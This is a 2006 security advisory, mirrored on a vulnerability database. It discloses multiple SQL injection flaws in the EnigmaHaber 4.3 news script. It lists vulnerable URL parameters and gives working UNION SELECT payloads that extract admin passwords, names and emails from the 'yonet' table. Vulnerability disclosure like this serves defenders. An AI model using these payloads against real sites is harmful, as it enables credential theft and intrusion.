Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:12871
HistoryMay 30, 2006 - 12:00 a.m.

Advisory: Enigma Haber <= 4.3 Multiple Remote SQL Injection Vulnerabilities

2006-05-3000:00:00
vulners.com
9

–Security Report–
Advisory: Enigma Haber <= 4.3 Multiple Remote SQL Injection Vulnerabilities

Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI

Date: 27/05/06 05:16 PM

Contacts:{
ICQ: 10072
MSN/Email: [email protected]
Web: http://www.nukedx.com
}

Vendor: EnigmaASP (http://www.enigmaasp.net/&#41;
Version: 4.3 and prior versions must be affected.
About: Via this method remote attacker can inject arbitrary SQL
queries to EnigmaHaber.See the examples.
Level: Critical

How&Example:
GET -> http://[site]/enigmadir/e_mesaj_yaz.asp?id=SQL
EXAMPLE ->
http://[site]/enigmadir/e_mesaj_yaz.asp?id=1879586820+UNION+SELECT+0,sifre,2,3,4,5,6,7,8,9,10,110,0,
0,0,0,0,0,0,0,0,0,0,0,0,0+FROM+yonet+where+yonetid=1144931586
GET -> http://[site]/enigmadir/yazdir.asp?hid=SQL
GET -> http://[site]/enigmadir/yorum.asp?hid=SQL
GET -> http://[site]/enigmadir/edi_haber.asp?id=SQL&tur=1
GET ->
http://[site]/enigmadir/ara.asp?yo=1&ara=SQL&ko=0&k=0&d=hid&e=desc&ay=00&yil=00
GET ->
http://[site]/enigmadir/arsiv.asp?d=hid&e=desc[SQL]&ay=00&yil=00&e_kad=00
EXAMPLE ->
http://[site]/enigmadir/arsiv.asp?d=hid&e=desc+UNION+SELECT+0,sifre,isim,3,4,5,6,7,8,9,10,11,12,13,14,
15,16,17,18,19+FROM+yonet+where+yonetid%20like%201144927664&ay=00&yil=00&e_kad=00
GET -> http://[site]/enigmadir/haber_devam.asp?id=SQL
Examples in the below needs admin rights.
GET -> http://[site]/enigmadir/admin/y_admin.asp?yid=SQL
EXAMPLE ->
http://[site]/enigmadir/admin/y_admin.asp?yid=34+UNION+SELECT+0,1,mail,3,4,5,sifre,isim,8,9,sehir+from+
yonet+where+yonetid=1144927664
GET -> http://[site]/enigmadir/admin/reklam_detay.asp?bid=SQL
GET -> http://[site]/enigmadir/admin/detay_yorum.asp?hid=SQL
GET -> http://[site]/enigmadir/admin/haber_sil.asp?hid=SQL
GET -> http://[site]/enigmadir/admin/kategori_d.asp?o=1&kid=SQL
GET -> http://[site]/enigmadir/admin/haber_ekle.asp?tur=SQL
GET -> http://[site]/enigmadir/admin/e_mesaj_yaz.asp?s=SQL
GET -> http://[site]/enigmadir/admin/admin_sil.asp?id=SQL

Timeline:

  • 27/05/2006: Vulnerability found.
  • 27/05/2006: Contacted with vendor and waiting reply.

Exploit: http://www.nukedx.com/?getxpl=34

Original advisory can be found at: http://www.nukedx.com/?viewdoc=34